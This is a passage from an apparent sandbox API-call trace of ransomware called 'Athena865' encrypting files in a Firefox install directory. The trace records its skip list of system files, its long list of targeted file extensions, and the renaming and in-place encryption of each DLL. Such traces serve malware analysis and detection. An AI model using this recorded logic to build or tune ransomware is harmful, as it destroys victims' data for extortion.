(lpString1="dll", lpString2="sis") returned -1 [0044.243] lstrlenW (lpString="spq") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0044.243] lstrlenW (lpString="te") returned 2 [0044.243] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0044.243] lstrlenW (lpString="teacher") returned 7 [0044.243] lstrcmpiW (lpString1="100.dll", lpString2="teacher") returned -1 [0044.243] lstrlenW (lpString="tmd") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0044.243] lstrlenW (lpString="tps") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0044.243] lstrlenW (lpString="trc") returned 3 [0044.243] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0044.243] lstrlenW (lpString="trc") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0044.244] lstrlenW (lpString="trm") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0044.244] lstrlenW (lpString="udb") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0044.244] lstrlenW (lpString="udl") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0044.244] lstrlenW (lpString="usr") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0044.244] lstrlenW (lpString="v12") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0044.244] lstrlenW (lpString="vis") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0044.244] lstrlenW (lpString="vpd") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0044.244] lstrlenW (lpString="vvv") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0044.244] lstrlenW (lpString="wdb") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0044.244] lstrlenW (lpString="wmdb") returned 4 [0044.244] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0044.244] lstrlenW (lpString="wrk") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0044.244] lstrlenW (lpString="xdb") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0044.244] lstrlenW (lpString="xld") returned 3 [0044.244] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0044.244] lstrlenW (lpString="xmlff") returned 5 [0044.244] lstrcmpiW (lpString1="0.dll", lpString2="xmlff") returned -1 [0044.244] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll.Athena865") returned 61 [0044.244] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcp100.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcp100.dll.athena865"), dwFlags=0x1) returned 1 [0044.249] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcp100.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0044.249] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=421200) returned 1 [0044.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0044.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0044.249] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0044.249] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0044.250] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0044.250] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.250] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x67050, lpName=0x0) returned 0x17c [0044.252] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x67050) returned 0x1f0000 [0044.269] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0044.270] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0044.270] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0044.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0044.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0044.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0044.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0044.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0044.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0044.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0044.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0044.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0044.271] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0044.274] CloseHandle (hObject=0x17c) returned 1 [0044.274] CloseHandle (hObject=0x154) returned 1 [0044.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0044.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0044.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0044.283] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0xbc150, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".") returned 1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="..") returned 1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="windows") returned -1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="bootmgr") returned 1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="temp") returned -1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="pagefile.sys") returned -1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="boot") returned 1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="ids.txt") returned 1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="ntuser.dat") returned -1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="perflogs") returned -1 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2="MSBuild") returned 1 [0044.283] lstrlenW (lpString="msvcr100.dll") returned 12 [0044.283] lstrcpyW (in: lpString1=0x241e896, lpString2="msvcr100.dll" | out: lpString1="msvcr100.dll") returned="msvcr100.dll" [0044.283] lstrlenW (lpString="msvcr100.dll") returned 12 [0044.283] lstrlenW (lpString="Athena865") returned 9 [0044.283] lstrcmpiW (lpString1="cr100.dll", lpString2="Athena865") returned 1 [0044.283] lstrlenW (lpString=".dll") returned 4 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".dll") returned 1 [0044.283] lstrlenW (lpString=".lnk") returned 4 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".lnk") returned 1 [0044.283] lstrlenW (lpString=".ini") returned 4 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".ini") returned 1 [0044.283] lstrlenW (lpString=".sys") returned 4 [0044.283] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".sys") returned 1 [0044.283] lstrlenW (lpString="msvcr100.dll") returned 12 [0044.283] lstrlenW (lpString="bak") returned 3 [0044.283] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0044.283] lstrlenW (lpString="ba_") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0044.284] lstrlenW (lpString="dbb") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0044.284] lstrlenW (lpString="vmdk") returned 4 [0044.284] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0044.284] lstrlenW (lpString="rar") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0044.284] lstrlenW (lpString="zip") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0044.284] lstrlenW (lpString="tgz") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0044.284] lstrlenW (lpString="vbox") returned 4 [0044.284] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0044.284] lstrlenW (lpString="vdi") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0044.284] lstrlenW (lpString="vhd") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0044.284] lstrlenW (lpString="vhdx") returned 4 [0044.284] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0044.284] lstrlenW (lpString="avhd") returned 4 [0044.284] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0044.284] lstrlenW (lpString="db") returned 2 [0044.284] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0044.284] lstrlenW (lpString="db2") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0044.284] lstrlenW (lpString="db3") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0044.284] lstrlenW (lpString="dbf") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0044.284] lstrlenW (lpString="mdf") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0044.284] lstrlenW (lpString="mdb") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0044.284] lstrlenW (lpString="sql") returned 3 [0044.284] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0044.284] lstrlenW (lpString="sqlite") returned 6 [0044.284] lstrcmpiW (lpString1="00.dll", lpString2="sqlite") returned -1 [0044.284] lstrlenW (lpString="sqlite3") returned 7 [0044.284] lstrcmpiW (lpString1="100.dll", lpString2="sqlite3") returned -1 [0044.285] lstrlenW (lpString="sqlitedb") returned 8 [0044.285] lstrcmpiW (lpString1="r100.dll", lpString2="sqlitedb") returned -1 [0044.285] lstrlenW (lpString="xml") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0044.285] lstrlenW (lpString="$er") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0044.285] lstrlenW (lpString="4dd") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0044.285] lstrlenW (lpString="4dl") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0044.285] lstrlenW (lpString="^^^") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0044.285] lstrlenW (lpString="abs") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0044.285] lstrlenW (lpString="abx") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0044.285] lstrlenW (lpString="accdb") returned 5 [0044.285] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1 [0044.285] lstrlenW (lpString="accdc") returned 5 [0044.285] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1 [0044.285] lstrlenW (lpString="accde") returned 5 [0044.285] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1 [0044.285] lstrlenW (lpString="accdr") returned 5 [0044.285] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1 [0044.285] lstrlenW (lpString="accdt") returned 5 [0044.285] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1 [0044.285] lstrlenW (lpString="accdw") returned 5 [0044.285] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1 [0044.285] lstrlenW (lpString="accft") returned 5 [0044.285] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1 [0044.285] lstrlenW (lpString="adb") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0044.285] lstrlenW (lpString="adb") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0044.285] lstrlenW (lpString="ade") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0044.285] lstrlenW (lpString="adf") returned 3 [0044.285] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0044.285] lstrlenW (lpString="adn") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0044.286] lstrlenW (lpString="adp") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0044.286] lstrlenW (lpString="alf") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0044.286] lstrlenW (lpString="ask") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0044.286] lstrlenW (lpString="btr") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0044.286] lstrlenW (lpString="cat") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0044.286] lstrlenW (lpString="cdb") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0044.286] lstrlenW (lpString="ckp") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0044.286] lstrlenW (lpString="cma") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0044.286] lstrlenW (lpString="cpd") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0044.286] lstrlenW (lpString="dacpac") returned 6 [0044.286] lstrcmpiW (lpString1="00.dll", lpString2="dacpac") returned -1 [0044.286] lstrlenW (lpString="dad") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0044.286] lstrlenW (lpString="dadiagrams") returned 10 [0044.286] lstrcmpiW (lpString1="vcr100.dll", lpString2="dadiagrams") returned 1 [0044.286] lstrlenW (lpString="daschema") returned 8 [0044.286] lstrcmpiW (lpString1="r100.dll", lpString2="daschema") returned 1 [0044.286] lstrlenW (lpString="db-journal") returned 10 [0044.286] lstrcmpiW (lpString1="vcr100.dll", lpString2="db-journal") returned 1 [0044.286] lstrlenW (lpString="db-shm") returned 6 [0044.286] lstrcmpiW (lpString1="00.dll", lpString2="db-shm") returned -1 [0044.286] lstrlenW (lpString="db-wal") returned 6 [0044.286] lstrcmpiW (lpString1="00.dll", lpString2="db-wal") returned -1 [0044.286] lstrlenW (lpString="dbc") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0044.286] lstrlenW (lpString="dbs") returned 3 [0044.286] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0044.286] lstrlenW (lpString="dbt") returned 3 [0044.287] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0044.287] lstrlenW (lpString="dbv") returned 3 [0044.287] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0044.287] lstrlenW (lpString="dbx") returned 3 [0044.287] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0044.287] lstrlenW (lpString="dcb") returned 3 [0044.287] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0044.287] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0044.287] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll.Athena865") returned 61 [0044.287] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcr100.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcr100.dll.athena865"), dwFlags=0x1) returned 1 [0044.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcr100.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0044.290] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=770384) returned 1 [0044.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0044.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0044.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0044.290] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0044.291] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0044.291] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.291] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc450, lpName=0x0) returned 0x17c [0044.292] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc450) returned 0x2d50000 [0044.321] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0044.324] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0044.324] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0044.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0044.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0044.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0044.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0044.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0044.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0044.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0044.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0044.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0044.324] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0044.331] CloseHandle (hObject=0x17c) returned 1 [0044.331] CloseHandle (hObject=0x154) returned 1 [0044.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0044.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0044.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0044.342] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3318ad80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1b1870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nss3.dll", cAlternateFileName="")) returned 1 [0044.342] lstrcmpiW (lpString1="nss3.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0044.342] lstrcmpiW (lpString1="nss3.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0044.342] lstrcmpiW (lpString1="nss3.dll", lpString2=".") returned 1 [0044.342] lstrcmpiW (lpString1="nss3.dll", lpString2="..") returned 1 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2="windows") returned -1 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2="bootmgr") returned 1 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2="temp") returned -1 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2="pagefile.sys") returned -1 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2="boot") returned 1 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2="ids.txt") returned 1 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2="ntuser.dat") returned -1 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2="perflogs") returned -1 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2="MSBuild") returned 1 [0044.343] lstrlenW (lpString="nss3.dll") returned 8 [0044.343] lstrcpyW (in: lpString1=0x241e896, lpString2="nss3.dll" | out: lpString1="nss3.dll") returned="nss3.dll" [0044.343] lstrlenW (lpString="nss3.dll") returned 8 [0044.343] lstrlenW (lpString="Athena865") returned 9 [0044.343] lstrlenW (lpString=".dll") returned 4 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2=".dll") returned 1 [0044.343] lstrlenW (lpString=".lnk") returned 4 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2=".lnk") returned 1 [0044.343] lstrlenW (lpString=".ini") returned 4 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2=".ini") returned 1 [0044.343] lstrlenW (lpString=".sys") returned 4 [0044.343] lstrcmpiW (lpString1="nss3.dll", lpString2=".sys") returned 1 [0044.343] lstrlenW (lpString="nss3.dll") returned 8 [0044.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll.Athena865") returned 57 [0044.343] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll.athena865"), dwFlags=0x1) returned 1 [0044.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0044.345] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1775728) returned 1 [0044.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0044.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0044.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0044.345] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0044.346] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0044.346] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.346] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b1b70, lpName=0x0) returned 0x17c [0044.347] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b1b70) returned 0x2d50000 [0044.404] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0044.405] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0044.405] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0044.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0044.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0044.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0044.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0044.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0044.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0044.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0044.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0044.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0044.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0044.405] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0044.424] CloseHandle (hObject=0x17c) returned 1 [0044.424] CloseHandle (hObject=0x154) returned 1 [0044.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0044.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0044.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0044.486] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, 